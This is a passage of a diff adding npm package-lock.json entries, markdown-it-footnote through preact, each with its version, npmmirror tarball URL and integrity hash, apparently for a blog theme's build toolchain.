"https://registry.npmmirror.com/markdown-it-footnote/-/markdown-it-footnote-3.0.3.tgz", + "integrity": "sha512-YZMSuCGVZAjzKMn+xqIco9d1cLGxbELHZ9do/TSYVzraooV8ypsppKNmUJ0fVH5ljkCInQAtFpm8Rb3eXSrt5w==" + }, + "node_modules/markdown-it-ins": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/markdown-it-ins/-/markdown-it-ins-3.0.1.tgz", + "integrity": "sha512-32SSfZqSzqyAmmQ4SHvhxbFqSzPDqsZgMHDwxqPzp+v+t8RsmqsBZRG+RfRQskJko9PfKC2/oxyOs4Yg/CfiRw==" + }, + "node_modules/markdown-it-mark": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/markdown-it-mark/-/markdown-it-mark-3.0.1.tgz", + "integrity": "sha512-HyxjAu6BRsdt6Xcv6TKVQnkz/E70TdGXEFHRYBGLncRE9lBFwDNLVtFojKxjJWgJ+5XxUwLaHXy+2sGBbDn+4A==" + }, + "node_modules/markdown-it-multimd-table": { + "version": "4.2.3", + "resolved": "https://registry.npmmirror.com/markdown-it-multimd-table/-/markdown-it-multimd-table-4.2.3.tgz", + "integrity": "sha512-KepCr2OMJqm7IT6sOIbuqHGe+NERhgy66XMrc5lo6dHW7oaPzMDtYwR1EGwK16/blb6mCSg4jqityOe0o/H7HA==" + }, + "node_modules/markdown-it-pangu": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/markdown-it-pangu/-/markdown-it-pangu-1.0.2.tgz", + "integrity": "sha512-rssyYaMKXRLMpQIUgX01VE1KYOHhlnc4t5zGTI2zgXDpE88eQz8hywa0iSzoFm3eb5CYzFWazDKdUbnyZvW0SQ==", + "dependencies": { + "markdown-it": "^8.4.2", + "pangu": "^4.0.7" + } + }, + "node_modules/markdown-it-pangu/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/markdown-it-pangu/node_modules/entities": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==" + }, + "node_modules/markdown-it-pangu/node_modules/linkify-it": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/linkify-it/-/linkify-it-2.2.0.tgz", + "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==", + "dependencies": { + "uc.micro": "^1.0.1" + } + }, + "node_modules/markdown-it-pangu/node_modules/markdown-it": { + "version": "8.4.2", + "resolved": "https://registry.npmmirror.com/markdown-it/-/markdown-it-8.4.2.tgz", + "integrity": "sha512-GcRz3AWTqSUphY3vsUqQSFMbgR38a4Lh3GWlHRh/7MRwz8mcu9n2IO7HOh+bXHrR9kOPDl5RNCaEsrneb+xhHQ==", + "dependencies": { + "argparse": "^1.0.7", + "entities": "~1.1.1", + "linkify-it": "^2.0.0", + "mdurl": "^1.0.1", + "uc.micro": "^1.0.5" + }, + "bin": { + "markdown-it": "bin/markdown-it.js" + } + }, + "node_modules/markdown-it-pangu/node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "node_modules/markdown-it-sub": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/markdown-it-sub/-/markdown-it-sub-1.0.0.tgz", + "integrity": "sha512-z2Rm/LzEE1wzwTSDrI+FlPEveAAbgdAdPhdWarq/ZGJrGW/uCQbKAnhoCsE4hAbc3SEym26+W2z/VQB0cQiA9Q==" + }, + "node_modules/markdown-it-sup": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/markdown-it-sup/-/markdown-it-sup-1.0.0.tgz", + "integrity": "sha512-E32m0nV9iyhRR7CrhnzL5msqic7rL1juWre6TQNxsnApg7Uf+F97JOKxUijg5YwXz86lZ0mqfOnutoryyNdntQ==" + }, + "node_modules/markdown-it-task-checkbox": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/markdown-it-task-checkbox/-/markdown-it-task-checkbox-1.0.6.tgz", + "integrity": "sha512-7pxkHuvqTOu3iwVGmDPeYjQg+AIS9VQxzyLP9JCg9lBjgPAJXGEkChK6A2iFuj3tS0GV3HG2u5AMNhcQqwxpJw==" + }, + "node_modules/markdown-it-toc-and-anchor": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/markdown-it-toc-and-anchor/-/markdown-it-toc-and-anchor-4.2.0.tgz", + "integrity": "sha512-DusSbKtg8CwZ92ztN7bOojDpP4h0+w7BVOPuA3PHDIaabMsERYpwsazLYSP/UlKedoQjOz21mwlai36TQ04EpA==", + "dependencies": { + "clone": "^2.1.0", + "uslug": "^1.0.4" + } + }, + "node_modules/markdown-it/node_modules/entities": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/entities/-/entities-3.0.1.tgz", + "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==", + "engines": { + "node": ">=0.12" + } + }, + "node_modules/marked": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/marked/-/marked-4.3.0.tgz", + "integrity": "sha512-PRsaiG84bK+AMvxziE/lCFss8juXjNaWzVbN5tXAm4XjeaS9NAHhop+PjQxz2A9h8Q4M/xGmzP8vqNwy6JeK0A==", + "peer": true, + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 12" + } + }, + "node_modules/marked-highlight": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/marked-highlight/-/marked-highlight-2.1.1.tgz", + "integrity": "sha512-ktdqwtBne8rim5mb+vvZ9FzElGFb+CHCgkx/g6DSzTjaSrVnxsJdSzB5YgCkknFrcOW+viocM1lGyIjC0oa3fg==", + "peerDependencies": { + "marked": ">=4 <13" + } + }, + "node_modules/mdurl": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/mdurl/-/mdurl-1.0.1.tgz", + "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==" + }, + "node_modules/micro-memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/micro-memoize/-/micro-memoize-4.1.2.tgz", + "integrity": "sha512-+HzcV2H+rbSJzApgkj0NdTakkC+bnyeiUxgT6/m7mjcz1CmM22KYFKp+EVj1sWe4UYcnriJr5uqHQD/gMHLD+g==" + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/mime/-/mime-3.0.0.tgz", + "integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" + }, + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==" + }, + "node_modules/mkdirp": { + "version": "0.3.0", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.3.0.tgz", + "integrity": "sha512-OHsdUcVAQ6pOtg5JYWpCBo9W/GySVuwvP9hueRMW7UqshC0tbfzLv8wjySTPm3tfUZ/21CE9E1pJagOA91Pxew==", + "deprecated": "Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)", + "engines": { + "node": "*" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmmirror.com/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" + }, + "node_modules/moize": { + "version": "6.1.6", + "resolved": "https://registry.npmmirror.com/moize/-/moize-6.1.6.tgz", + "integrity": "sha512-vSKdIUO61iCmTqhdoIDrqyrtp87nWZUmBPniNjO0fX49wEYmyDO4lvlnFXiGcaH1JLE/s/9HbiK4LSHsbiUY6Q==", + "dependencies": { + "fast-equals": "^3.0.1", + "micro-memoize": "^4.1.2" + } + }, + "node_modules/moment": { + "version": "2.30.1", + "resolved": "https://registry.npmmirror.com/moment/-/moment-2.30.1.tgz", + "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==", + "engines": { + "node": "*" + } + }, + "node_modules/moment-timezone": { + "version": "0.5.45", + "resolved": "https://registry.npmmirror.com/moment-timezone/-/moment-timezone-0.5.45.tgz", + "integrity": "sha512-HIWmqA86KcmCAhnMAN0wuDOARV/525R2+lOLotuGFzn4HO+FH+/645z2wx0Dt3iDv6/p61SIvKnDstISainhLQ==", + "dependencies": { + "moment": "^2.29.4" + }, + "engines": { + "node": "*" + } + }, + "node_modules/morgan": { + "version": "1.10.0", + "resolved": "https://registry.npmmirror.com/morgan/-/morgan-1.10.0.tgz", + "integrity": "sha512-AbegBVI4sh6El+1gNwvD5YIck7nSA36weD7xvIxG4in80j/UoK8AEGaWnnz8v1GxonMCltmlNs5ZKbGvl9b1XQ==", + "dependencies": { + "basic-auth": "~2.0.1", + "debug": "2.6.9", + "depd": "~2.0.0", + "on-finished": "~2.3.0", + "on-headers": "~1.0.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/mouse-firework": { + "version": "0.0.5", + "resolved": "https://registry.npmmirror.com/mouse-firework/-/mouse-firework-0.0.5.tgz", + "integrity": "sha512-vp920Og/xIui1XjJMOXME+QC7LFmljRb+MuJ7NZNqYZYQMYhTND7Y1fMqe0ovUbKFt87OJx3roLggwmCALDr+Q==", + "dependencies": { + "theme-shokax-anime": "^0.0.6" + } + }, + "node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/netmask": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/netmask/-/netmask-2.0.2.tgz", + "integrity": "sha512-dBpDMdxv9Irdq66304OLfEmQ9tbNRFnFTuZiLo+bD+r332bBmMJ8GBLXklIXXgxd3+v9+KUnZaUR5PJMa75Gsg==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/nib": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/nib/-/nib-1.2.0.tgz", + "integrity": "sha512-7HgrnMl/3yOmWykueO8/D0q+0iWwe7Z+CK2Eaq/xQV8w1hK80WN1oReRQkfkrztbAAnp/nTHkUSl5EcVkor6JQ==", + "engines": { + "node": "*" + }, + "peerDependencies": { + "stylus": "*" + } + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-addon-api": { + "version": "1.7.2", + "resolved": "https://registry.npmmirror.com/node-addon-api/-/node-addon-api-1.7.2.tgz", + "integrity": "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg==" + }, + "node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/node-releases": { + "version": "2.0.14", + "resolved": "https://registry.npmmirror.com/node-releases/-/node-releases-2.0.14.tgz", + "integrity": "sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==" + }, + "node_modules/nopt": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/nopt/-/nopt-1.0.10.tgz", + "integrity": "sha512-NWmpvLSqUrgrAC9HCuxEvb+PSloHpqVu+FqcO4eeF2h5qYRhA7ev6KvelyQAKtegUbC6RypJnlEOhd8vloNKYg==", + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/nopt/node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dependencies": { + "boolbase": "^1.0.0" + } + }, + "node_modules/nunjucks": { + "version": "3.2.4", + "resolved": "https://registry.npmmirror.com/nunjucks/-/nunjucks-3.2.4.tgz", + "integrity": "sha512-26XRV6BhkgK0VOxfbU5cQI+ICFUtMLixv1noZn1tGU38kQH5A5nmmbk/O45xdyBhD1esk47nKrY0mvQpZIhRjQ==", + "dependencies": { + "a-sync-waterfall": "^1.0.0", + "asap": "^2.0.3", + "commander": "^5.1.0" + }, + "bin": { + "nunjucks-precompile": "bin/precompile" + }, + "engines": { + "node": ">= 6.9.0" + }, + "peerDependencies": { + "chokidar": "^3.3.0" + }, + "peerDependenciesMeta": { + "chokidar": { + "optional": true + } + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://registry.npmmirror.com/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/pac-proxy-agent": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/pac-proxy-agent/-/pac-proxy-agent-7.0.1.tgz", + "integrity": "sha512-ASV8yU4LLKBAjqIPMbrgtaKIvxQri/yh2OpI+S6hVa9JRkUI3Y3NPFbfngDtY7oFtSMD3w31Xns89mDa3Feo5A==", + "dependencies": { + "@tootallnate/quickjs-emscripten": "^0.23.0", + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "get-uri": "^6.0.1", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.2", + "pac-resolver": "^7.0.0", + "socks-proxy-agent": "^8.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pac-proxy-agent/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/pac-proxy-agent/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/pac-resolver": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/pac-resolver/-/pac-resolver-7.0.1.tgz", + "integrity": "sha512-5NPgf87AT2STgwa2ntRMr45jTKrYBGkVU36yT0ig/n/GMAa3oPqhZfIQ2kMEimReg0+t9kZViDVZ83qfVUlckg==", + "dependencies": { + "degenerator": "^5.0.0", + "netmask": "^2.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pangu": { + "version": "4.0.7", + "resolved": "https://registry.npmmirror.com/pangu/-/pangu-4.0.7.tgz", + "integrity": "sha512-weZKJIwwy5gjt4STGVUH9bix3BGk7wZ2ahtIypwe3e/mllsrIZIvtfLx1dPX56GcpZFOCFKmeqI1qVuB9enRzA==", + "bin": { + "pangu": "dist/node/cli.js" + } + }, + "node_modules/param-case": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/param-case/-/param-case-2.1.1.tgz", + "integrity": "sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==", + "dependencies": { + "no-case": "^2.2.0" + } + }, + "node_modules/param-case/node_modules/lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==" + }, + "node_modules/param-case/node_modules/no-case": { + "version": "2.3.2", + "resolved": "https://registry.npmmirror.com/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "dependencies": { + "lower-case": "^1.1.1" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmmirror.com/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "dependencies": { + "entities": "^4.4.0" + } + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz", + "integrity": "sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==", + "dependencies": { + "domhandler": "^5.0.2", + "parse5": "^7.0.0" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmmirror.com/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==" + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + } + }, + "node_modules/postcss": { + "version": "8.4.35", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.4.35.tgz", + "integrity": "sha512-u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA==", + "dependencies": { + "nanoid": "^3.3.7", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/preact": { + "version": "10.19.6", + "resolved": "https://registry.npmmirror.com/preact/-/preact-10.19.6.tgz", + "integrity": "sha512-gympg+T2Z1fG1unB8NH29yHJwnEaCH37Z32diPDku316OTnRPeMbiRV9kTrfZpocXjdfnWuFUl/Mj4BHaf6gnw==" + 